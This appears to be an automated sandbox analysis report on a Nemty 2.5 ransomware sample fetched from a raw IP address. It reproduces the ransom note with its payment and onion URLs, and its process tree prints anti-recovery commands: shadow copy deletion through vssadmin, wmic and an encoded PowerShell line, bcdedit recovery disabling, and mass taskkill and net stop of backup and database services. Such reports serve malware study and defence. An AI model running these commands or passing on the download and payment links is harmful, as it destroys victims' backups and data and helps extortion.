Overview

overview

10

Static

static

http://92.63.197.190...

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v191014
  • submitted
    14-02-2020 02:22

Sharing

Copy URL
Twitter E-mail

General

  • Target

    http://92.63.197.190/jap.exe

  • Sample

    200214-87w9zpv2l2

Score
10/10
persistenceevasionspywaretrojanransomwarenemty

Malware Config

Extracted

Path

C:\NEMTY_MLK8D17-DECRYPT.txt

Family

nemty

Ransom Note
---> NEMTY 2.5 REVENGE <--- Some (or maybe all) of your files got encryped. We provide decryption tool if you pay a ransom. Don't worry, if we can't help you with decrypting - other people won't trust us. We provide test decryption, as proof that we can decrypt your data. You have 3 month to pay (after visiting the ransom page) until decryption key will be deleted from server. After 3 month no one, even our service can't make decryptor. 1) Web-Browser a) Open your browser. b) Open this link: http://nemty.top/public/pay.php c) Upload this file. d) Follow the instructions. 2) Tor-Browser a) Download&Install Tor-Browser. b) Open Tor-Browser. c) Open this link : http://zjoxyw5mkacojk5ptn2iprkivg5clow72mjkyk5ttubzxprjjnwapkad.onion/public/pay.php d) Upload this file. e) Follow the instruction. <BEGIN NEMTY KEY> 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
URLs

http://nemty.top/public/pay.php

http://zjoxyw5mkacojk5ptn2iprkivg5clow72mjkyk5ttubzxprjjnwapkad.onion/public/pay.php

Signatures

  • Executes dropped EXE 1 IoCs
  • Program crash 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 1 IoCs
  • Kills process with taskkill 14 IoCs
    evasion
  • Nemty

    Ransomware discovered in late 2019 which has been actively developed/updated over time.

    ransomwarenemty
  • Modifies Internet Explorer settings 1 TTPs 38 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 107 IoCs
  • Drops file in Program Files directory 58 IoCs
  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 180 IoCs
  • Suspicious use of FindShellTrayWindow 102 IoCs
  • Suspicious use of AdjustPrivilegeToken 65 IoCs
  • Suspicious use of SendNotifyMessage 96 IoCs
  • Runs net.exe

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://92.63.197.190/jap.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies Internet Explorer settings
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    • Suspicious use of FindShellTrayWindow
    PID:5096
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5096 CREDAT:82945 /prefetch:2
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Modifies Internet Explorer settings
      • Checks whether UAC is enabled
      PID:384
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5096 CREDAT:340998 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Checks whether UAC is enabled
      PID:3704
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\89TS8EPW\jap.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\89TS8EPW\jap.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\SysWOW64\vssadmin.exe
          vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
          4⤵
          • Interacts with shadow copies
          PID:3852
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\SysWOW64\vssadmin.exe
          vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
          4⤵
          • Interacts with shadow copies
          PID:4372
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.*
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4340
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im sql.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:800
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im winword.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3464
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im wordpad.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1292
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im outlook.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4616
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im thunderbird.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2900
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im oracle.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:448
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im excel.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:660
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im onenote.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:836
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im virtualboxvm.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1020
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im node.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:944
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im QBW32.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im WBGX.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1348
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im Teams.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1400
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im Flow.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1588
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS & net stop MSSQLServerADHelper100 & net stop MongoDB & net stop SQLAgent$SQLEXPRESS & net stop SQLBrowser & net stop CobianBackup11 & net stop cbVSCService11 & net stop QBCFMontorService & net stop QBVSS
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Windows\SysWOW64\net.exe
          net stop DbxSvc
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4976
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop DbxSvc
            5⤵
              PID:3596
          • C:\Windows\SysWOW64\net.exe
            net stop OracleXETNSListener
            4⤵
              PID:1904
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop OracleXETNSListener
                5⤵
                  PID:1644
              • C:\Windows\SysWOW64\net.exe
                net stop OracleServiceXE
                4⤵
                  PID:2164
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop OracleServiceXE
                    5⤵
                      PID:2216
                  • C:\Windows\SysWOW64\net.exe
                    net stop AcrSch2Svc
                    4⤵
                      PID:2392
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop AcrSch2Svc
                        5⤵
                          PID:2404
                      • C:\Windows\SysWOW64\net.exe
                        net stop AcronisAgent
                        4⤵
                          PID:2520
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop AcronisAgent
                            5⤵
                              PID:3708
                          • C:\Windows\SysWOW64\net.exe
                            net stop Apache2.4
                            4⤵
                              PID:3140
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop Apache2.4
                                5⤵
                                  PID:3208
                              • C:\Windows\SysWOW64\net.exe
                                net stop SQLWriter
                                4⤵
                                  PID:3428
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 stop SQLWriter
                                    5⤵
                                      PID:3496
                                  • C:\Windows\SysWOW64\net.exe
                                    net stop MSSQL$SQLEXPRESS
                                    4⤵
                                      PID:4152
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
                                        5⤵
                                          PID:4572
                                      • C:\Windows\SysWOW64\net.exe
                                        net stop MSSQLServerADHelper100
                                        4⤵
                                          PID:4056
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 stop MSSQLServerADHelper100
                                            5⤵
                                              PID:4324
                                          • C:\Windows\SysWOW64\net.exe
                                            net stop MongoDB
                                            4⤵
                                              PID:3852
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 stop MongoDB
                                                5⤵
                                                  PID:4456
                                              • C:\Windows\SysWOW64\net.exe
                                                net stop SQLAgent$SQLEXPRESS
                                                4⤵
                                                  PID:3880
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS
                                                    5⤵
                                                      PID:4316
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net stop SQLBrowser
                                                    4⤵
                                                      PID:4508
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 stop SQLBrowser
                                                        5⤵
                                                          PID:4464
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net stop CobianBackup11
                                                        4⤵
                                                          PID:2616
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 stop CobianBackup11
                                                            5⤵
                                                              PID:4352
                                                          • C:\Windows\SysWOW64\net.exe
                                                            net stop cbVSCService11
                                                            4⤵
                                                              PID:3440
                                                              • C:\Windows\SysWOW64\net1.exe
                                                                C:\Windows\system32\net1 stop cbVSCService11
                                                                5⤵
                                                                  PID:4008
                                                              • C:\Windows\SysWOW64\net.exe
                                                                net stop QBCFMontorService
                                                                4⤵
                                                                  PID:4824
                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                    C:\Windows\system32\net1 stop QBCFMontorService
                                                                    5⤵
                                                                      PID:3436
                                                                  • C:\Windows\SysWOW64\net.exe
                                                                    net stop QBVSS
                                                                    4⤵
                                                                      PID:800
                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                        C:\Windows\system32\net1 stop QBVSS
                                                                        5⤵
                                                                          PID:4476
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
                                                                      3⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:524
                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                        wmic shadowcopy delete
                                                                        4⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:4752
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
                                                                      3⤵
                                                                        PID:3412
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3412 -s 668
                                                                          4⤵
                                                                          • Program crash
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Enumerates system info in registry
                                                                          • Checks processor information in registry
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3752
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\NEMTY_MLK8D17-DECRYPT.txt"
                                                                        3⤵
                                                                        • Modifies registry class
                                                                        PID:2880
                                                                        • C:\Windows\SysWOW64\NOTEPAD.EXE
                                                                          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\NEMTY_MLK8D17-DECRYPT.txt
                                                                          4⤵
                                                                            PID:3716
                                                                    • C:\Windows\system32\vssvc.exe
                                                                      C:\Windows\system32\vssvc.exe
                                                                      1⤵
                                                                      • Modifies service
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2976
                                                                    • C:\Windows\system32\taskmgr.exe
                                                                      "C:\Windows\system32\taskmgr.exe" /4
                                                                      1⤵
                                                                      • Checks SCSI registry key(s)
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of SendNotifyMessage
                                                                      PID:2508
                                                                    • \??\c:\windows\system32\taskhostw.exe
                                                                      taskhostw.exe -RegisterDevice -SettingChange -Full
                                                                      1⤵
                                                                        PID:3036

                                                                      Network

                                                                      MITRE ATT&CK Matrix ATT&CK v6

                                                                      Initial Access

                                                                      Execution

                                                                      Persistence

                                                                      Modify Existing Service

                                                                      1
                                                                      T1031

                                                                      Privilege Escalation

                                                                      Defense Evasion

                                                                      File Deletion

                                                                      2
                                                                      T1107

                                                                      Modify Registry

                                                                      3
                                                                      T1112

                                                                      Install Root Certificate

                                                                      1
                                                                      T1130

                                                                      Credential Access

                                                                      Discovery

                                                                      Query Registry

                                                                      3
                                                                      T1012

                                                                      Peripheral Device Discovery

                                                                      1
                                                                      T1120

                                                                      System Information Discovery

                                                                      4
                                                                      T1082

                                                                      Lateral Movement

                                                                      Collection

                                                                      Exfiltration

                                                                      Command and Control

                                                                      Impact

                                                                      Inhibit System Recovery

                                                                      2
                                                                      T1490

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\89TS8EPW\jap.exe
                                                                        Download Submit
                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\89TS8EPW\jap.exe.64engns.partial
                                                                        Download Submit
                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\O3NMJQL8\jap[1].exe
                                                                        Download Submit
                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\PLFRAX05.cookie
                                                                        Download Submit
                                                                      • C:\Users\Admin\NEMTY_MLK8D17-DECRYPT.txt
                                                                        Download Submit
                                                                      • memory/3752-22-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-26-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-11-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-12-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-13-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-14-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-15-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-16-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-17-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-18-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-19-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-20-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-21-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-10-0x00000000055F0000-0x00000000055F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-23-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-24-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-25-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-9-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-27-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-28-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-29-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-30-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-31-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-32-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-33-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-34-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-35-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-36-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-37-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-38-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-39-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-40-0x00000000031F0000-0x00000000031F1000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-4-0x0000000005500000-0x0000000005501000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download
                                                                      • memory/3752-3-0x0000000004C30000-0x0000000004C31000-memory.dmp
                                                                        Filesize

                                                                        4KB

                                                                        Download